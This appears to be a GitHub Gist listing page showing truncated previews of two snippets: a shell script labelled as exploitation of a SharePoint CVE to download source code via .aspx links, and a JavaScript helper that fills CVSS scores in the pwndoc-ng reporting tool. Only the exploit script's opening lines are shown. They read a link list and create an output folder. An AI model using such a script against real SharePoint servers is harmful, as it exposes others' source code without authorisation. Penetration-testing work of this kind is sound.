Skip to content

Instantly share code, notes, and snippets.

@Arkango
Arkango / download_source_code.sh
Created June 28, 2023 07:44
Sharepoint CVE-2021-45248 exploitation
#$1 file with links retrieved by the history ending in .aspx
# also try filename.cs.aspx
i=0
mkdir out
for l in $(cat $1)
do
@Arkango
Arkango / cvss_filler.js
Created August 11, 2025 09:19
Fills the CVSS score in pwndoc-ng with an heuristic based on the category of the vuln
(async () => {
const delay = ms => new Promise(r => setTimeout(r, ms));
// CVSS vector labels to click per category
const cvssMapping = {
'C': ['Network', 'Low', 'None', 'None', 'Unchanged', 'High', 'High', 'High'],
'H': ['Network', 'Low', 'Low', 'None', 'Unchanged', 'High', 'High', 'High'],
'M': ['Network', 'High', 'Low', 'Required', 'Unchanged', 'Low', 'Low', 'Low'],
'N': ['Network', 'High', 'None', 'Required', 'Unchanged', 'Low', 'None', 'None'],
'default': ['Network', 'Low', 'None', 'None', 'Unchanged', 'Low', 'Low', 'Low']